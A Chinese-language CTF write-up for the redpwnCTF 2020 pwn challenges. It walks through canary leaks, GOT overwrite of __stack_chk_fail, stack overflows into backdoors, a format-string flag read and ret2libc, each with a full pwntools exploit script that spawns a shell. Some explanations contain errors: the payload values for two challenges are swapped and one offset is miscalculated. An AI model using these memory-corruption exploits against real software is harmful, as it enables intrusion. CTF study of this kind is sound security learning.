redpwnCTF 2020 pwn部分writeup

skywriting(覆盤)

簡單 canary 保護繞過,覆盤連不上官方環境,exp 本地版本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : skywriting.py
from pwn import *
context.log_level = 'debug'

p = process("./skywriting")
elf = ELF("./skywriting")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.sendlineafter("sky?","1")
p.sendafter("shot: ","a"*0x88+'-')
p.recvuntil("a"*0x88)
canary = u64(p.recv(8))-0x2d
log.info("canary:"+hex(canary))

p.sendafter("shot: ","a"*(0x7fffffffdca8-0x7fffffffdc10))
p.recvuntil("a"*(0x7fffffffdca8-0x7fffffffdc10))
libc_start_main = u64(p.recv(6).ljust(8,'\x00'))
log.info("libc_start_main:"+hex(libc_start_main))
libc_base = libc_start_main - 0x20830
log.info("libc_base:"+hex(libc_base))
onegadget = libc_base + 0xf1147
log.info("onegadget:"+hex(onegadget))


payload = "notflag{a_cloud_is_just_someone_elses_computer}\n\x00"
payload = payload.ljust(0x88,'a')
payload += p64(canary) + p64(canary) + p64(onegadget)
p.sendafter("shot: ",payload)


p.interactive()

dead-canary(覆盤)

一開始做的時候沒有想到可以覆蓋 __stack_chk_fail got 表地址,一心想着繞過 canary ,然後就困惑着怎麼 ROP 。

解題思路

通過故意破壞 canary 的值觸發程序執行 __stack_chk_fail ,而這個函數 got 函數已知,在觸發之前將這個函數覆蓋爲 main 函數,完成 ROP 。

在第一輪輸入的時候:泄露 __libc_start_main ;泄露 canary ;改寫 __stack_chk_fail got 表爲 main 。

payload = "%41$p%39$p%40$p" + "%4196117c%10$n-->"
payload += p64(elf.got["__stack_chk_fail"])
payload = payload.ljust(0x110-8,'a')
payload += '\x2d'

第二輪輸入時候恢復 canary 、控制 rip 爲 onegadget 。

payload = 'skye' + 'a'*(0x110-8-4) + p64(canary)
payload += p64(0xdeadbeef) + p64(onegadget)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : dead-canary.py
from pwn import *
context.log_level='debug'

p = process("./dead-canary")
elf = ELF("./dead-canary")


payload = "%41$p%39$p<>" + "%4196117c%10$n----->"
payload += p64(elf.got["__stack_chk_fail"])
payload = payload.ljust(0x110-8,'a')
payload += '\x2d'

p.recvuntil("name: ")
gdb.attach(p,'b *0x4007F3')
p.send(payload)
p.recvuntil("Hello ")

libc_start_main = int(p.recv(14),16)
log.info("libc_start_main:"+hex(libc_start_main))
canary = int(p.recv(18),16) - 0x2d
log.info("canary:"+hex(canary))
libc_base = libc_start_main - 0x20830
log.info("canary:"+hex(canary))
onegadget = libc_base + 0x45216
log.info("onegadget:"+hex(onegadget))

payload = 'skye' + 'a'*(0x110-8-4) + p64(canary)
payload += p64(0xdeadbeef) + p64(onegadget)

p.recvuntil("name: ")
p.send(payload)

p.interactive()

ctftime 上看到外國小哥最後 getshell 有用 stack pivoting 。emmm 還得搞個 rbp 算偏移 emmm

coffer-overflow-0

分析

保護情況

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函數

題目給了程序源代碼,但是我們還是按照正常題目做法分析二進制文件。

漏洞就在 main 中,gets 函數存在棧溢出:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = 0LL;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");
  gets(&v4, 0LL);                               // 棧溢出
  if ( v5 )
    system("/bin/sh");
  return 0;
}

main 函數中在存在着 system("/bin/sh") 的後門函數。

思路

程序用 gets 函數存在棧溢出漏洞,而進入後門函數需要判斷 v5 的布爾值。這裏就有兩種做法,一種利用棧溢出修改棧上變量 v5 的值,從而讓程序正常進入 後門函數 ;第二種就是棧溢出修改 rip 的返回地址到 system("/bin/sh") 。兩種做法都可行,我採用第一種。

首先就是確定 v5 變量在棧上的位置。可以從 IDA 變量後面的註釋去分析:

  char v4; // [rsp+0h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-8h]

v4 距離 rbp 0x20 ;v5 距離 rbp 0x8;那麼可以得出 v4 距離 v5 0x16(0x20-0x8)。

確定填充長度之後就是填充內容了,if 條件檢查的是 v5 的布爾值,那麼就賦值一個 1 即可條件成立,進入後門函數。

payload = 'a'*(0x20-0x8)
payload += p64(0xcafebabe)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : coffer-overflow-0.py
from pwn import *
context.log_level = 'debug'

#p = process("./coffer-overflow-0")
p = remote("2020.redpwnc.tf",31199)
elf = ELF("./coffer-overflow-0")

payload = 'a'*(0x20-0x8)
payload += p64(0X1)

p.sendlineafter("with?\n",payload) 

p.interactive()

coffer-overflow-1

分析

保護情況

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函數

題目給了程序源代碼,但是我們還是按照正常題目做法分析二進制文件。

漏洞就在 main 中,gets 函數存在棧溢出:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = 0LL;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");
  gets(&v4, 0LL);                               // 棧溢出
  if ( v5 == 3405691582LL )
    system("/bin/sh");
  return 0;
}

main 函數中在存在着 system("/bin/sh") 的後門函數。

思路

程序用 gets 函數存在棧溢出漏洞,而進入後門函數需要判斷 v5 的值是否爲 0xCAFEBABE 。這裏就有兩種做法,一種利用棧溢出修改棧上變量 v5 的值,從而讓程序正常進入 後門函數 ;第二種就是棧溢出修改 rip 的返回地址到 system("/bin/sh") 。兩種做法都可行,我採用第一種。

首先就是確定 v5 變量在棧上的位置。可以從 IDA 變量後面的註釋去分析:

  char v4; // [rsp+0h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-8h]

v4 距離 rbp 0x20 ;v5 距離 rbp 0x8;那麼可以得出 v4 距離 v5 0x16(0x20-0x8)。

確定填充長度之後就是填充內容了,if 條件檢查的是 v5 的布爾值,那麼就賦值一個 1 即可條件成立,進入後門函數。

payload = 'a'*(0x20-0x8)
payload += p64(0X1)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : coffer-overflow-1.py
from pwn import *
context.log_level = 'debug'

#p = process("./coffer-overflow-1")
p = remote("2020.redpwnc.tf",31255)
elf = ELF("./coffer-overflow-1")

payload = 'a'*(0x20-0x8)
payload += p64(0xcafebabe)

p.sendlineafter("with?\n",payload) 

p.interactive()

coffer-overflow-2

分析

保護情況

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函數

題目給了程序源代碼,但是我們還是按照正常題目做法分析二進制文件。

漏洞就在 main 中,gets 函數存在棧溢出:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-10h]

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");
  gets(&v4, 0LL);
  return 0;
}

程序中存在有後門函數,但不像前兩題放在 main 函數中。

int binFunction()
{
  return system("/bin/sh");
}

思路

程序用 gets 函數存在棧溢出漏洞,也有後門函數,但不像前兩題放在 main 函數中。做法就是前兩題提到的第二種做法:利用棧溢出修改 rip 的返回地址到後門函數 binFunction()

首先就是確定填充長度,可以從 IDA 變量後面的註釋去分析:

  char v4; // [rsp+0h] [rbp-10h]

填充 0x10 到 rbp ,再填充 0x8 就是到達了 rip 。最終得出我們需要填充 0x18 。

填充長度確認了,然後就是 rip 的填充內容,程序沒有打開 pie 保護,直接從 ida 裏面找到 binFunction() 地址:0x04006E6 。

payload = 'a' * 0x10 + p64(0xdeadbeef)
payload += p64(binFunction)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : coffer-overflow-2.py
from pwn import *
context.log_level = 'debug'

#p = process("./coffer-overflow-2")
p = remote("2020.redpwnc.tf",31908)
elf = process("./coffer-overflow-2")

binFunction = 0x04006E6
log.info("binFunction:"+hex(binFunction))

payload = 'a' * 0x10 + p64(0xdeadbeef)
payload += p64(binFunction)

p.sendlineafter("with?\n",payload)

p.interactive()

secret-flag

分析

保護情況

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函數

main 函數中的 19 行格式化字符串漏洞。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *buf; // ST08_8
  int fd; // ST04_4
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  buf = malloc(0x100uLL);
  fd = open("flag.txt", 0);
  read(fd, buf, 0x100uLL);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("I have a secret flag, which you'll never get!");
  puts("What is your name, young adventurer?");
  fgets(&s, 0x14, stdin);
  printf("Hello there: ", 0x14LL);
  printf(&s);                                   // 格式化字符串
  return 0LL;
}

思路

main 函數開始先申請一個塊堆,用 buf 去存儲堆指針。然後從 flag.txt 讀取 flag 到 buf 指向的堆中。

19 行存在一個格式化字符串漏洞,這個格式化字符串漏洞, 可以用來讀取數據。到這裏我們肯定會聯想到讀取程序中被讀入的 flag 。

正常來說,通常都是通過偏移讀取棧上的數據,常用的是用 %p 、%x ……但是這道題目將 flag 存放在堆上,堆指針存放在了棧上。

這裏就需要知道一個技巧了,%p、%x 讀取的時候是找到棧上的某一個地址後,將該地址存儲的數據當作值輸出。而使用 %s 讀取時是找到棧上的某一個地址後,將該地址存儲的數據當做指針,去找這個指針指向的值。

結合這條題理解一下,將斷點打在 0x9f0 ,打開 PIE 保護程序打斷點:gdb.attach(p,"b *$rebase(0x9f0)"),運行到斷點處觀察棧結構:

內存地址 0x7fffffffdd58 存儲值爲:0x555555756010;0x555555756010 是堆指針,堆中存儲是本地flag:bbbbbbbbccccccccdddddddd\n。

下面是分別用 %p 和 %s 輸出的結果:

# %p輸出結果
0x555555756010
# %s輸出結果
bbbbbbbbccccccccdddddddd

還有一點就是用 %s 輸出數據會一直輸出直到遇到 \x00(結束符)爲止

確定了泄露 flag 方法了,然後就是需要確定偏移地址了。偏移地址可以用算,也可以輸入多個 %p 爆出來,這次我試一下沒用過的算出來。

首先 64 位程序前 6 個參數是寄存器傳參,然後 rsp 到格式化字符串距離是 3 ,所以格式化字符串偏移爲 5+3 ;堆指針偏移爲 5+2 。

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : secret-flag.py
from pwn import *
context.log_level='debug'

p = process("./secret-flag")
#p = remote("2020.redpwnc.tf",31826)
elf = ELF("./secret-flag")

payload = 'a'*0x8 + "%7$s"#+ "%8$p"

p.recvuntil("adventurer?\n")
#gdb.attach(p,"b *$rebase(0x9f0)")
p.sendline(payload)


print p.recv()
p.interactive()

the-library

分析

保護情況

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

漏洞函數

這裏有兩個漏洞,都是在 main 中。一個是棧溢出、一個是格式化字符串。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]

  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to the library... What's your name?");
  read(0, &buf, 0x100uLL);                      // 棧溢出
  puts("Hello there: ");
  puts(&buf);                                   // 格式化字符串
  return 0;
}

程序沒有給後門函數。

思路

這個程序沒有開 canary 直接利用棧溢出做一個 ROP 就行了。填充長度是:0x10+0x8 。先用 puts@plt 輸出 puts@got ,然後 ret2text 回到 main 中,再次利用棧溢出修改 rip 執行 system('/bin/sh') 。payload 如下:

# leak libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
# ret2libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : [email protected]
# @File    : the-library.py
from pwn import *
context.log_level = 'debug'

#p = process("./the-library")
p = remote("2020.redpwnc.tf",31350)
elf = ELF("./the-library")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0400637
pop_rdi = 0x0000000000400733
ret = 0x0000000000400506


# leak libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recvuntil("name?\n")
#gdb.attach(p)
log.success("starting payload1")
p.send(payload)
p.recvuntil('\n')
p.recvuntil('\n')

puts_leak = u64(p.recv(6).ljust(8,'\x00'))
log.info("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - 0x0809c0#libc.symbols['puts']
log.info("libc_base:"+hex(libc_base))
system = libc_base + 0x04f440#libc.symbols['system']
log.info("system:"+hex(system))
binsh = libc_base + 0x1b3e9a#libc.search('/bin/sh\x00').next()
log.info("binsh:"+hex(binsh))


# ret2libc
payload = 'a'*0x10 + p64(0xdeadbeef)
payload += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)# + p64(main_addr)

p.sendlineafter("name?\n",payload)

p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章